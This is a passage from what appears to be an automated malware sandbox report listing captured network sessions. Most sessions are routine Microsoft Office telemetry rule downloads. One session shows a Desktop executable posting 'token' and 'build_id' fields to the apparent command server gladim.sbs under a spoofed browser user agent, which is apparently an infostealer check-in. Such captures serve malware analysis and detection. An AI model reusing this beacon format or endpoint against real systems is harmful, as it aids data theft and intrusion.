7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:18 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:18 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f20189e0-201e-005d-0f7c-43afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003418Z-174f7845968swgbqhC1EWRmnb400000013v000000000a6rn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 5e64b7e0-d01e-0049-7eb8-42e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003420Z-174f78459685m244hC1EWRgp2c00000013e000000000hxaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 12c713eb-c01e-0034-6a92-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003420Z-174f7845968psccphC1EWRuz9s00000014000000000054uv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 79414491-c01e-0014-1360-43a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003420Z-174f7845968glpgnhC1EWR7uec00000013y0000000001ets x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003420Z-174f7845968cpnpfhC1EWR3afc00000013a00000000096y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003421Z-174f78459688l8rvhC1EWRtzr00000000g5g00000000p36y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 9f28f116-c01e-008d-51c7-432eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003422Z-174f78459684bddphC1EWRbht400000013d000000000bnmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:22 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d85cda50-501e-000a-581c-410180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003422Z-174f7845968pght8hC1EWRyvxg00000006ug00000000a8px x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 79ba0bf2-501e-0029-2b86-40d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003422Z-174f7845968px8v7hC1EWR08ng00000013z00000000099ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003422Z-174f78459684bddphC1EWRbht400000013ag00000000k7vm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49751	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:22 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:22 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------CFHCBKKFIJJJECAAFCGICont
2024-12-02 00:34:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:23 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003423Z-174f7845968kvnqxhC1EWRmf3g0000000qeg00000000dus6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 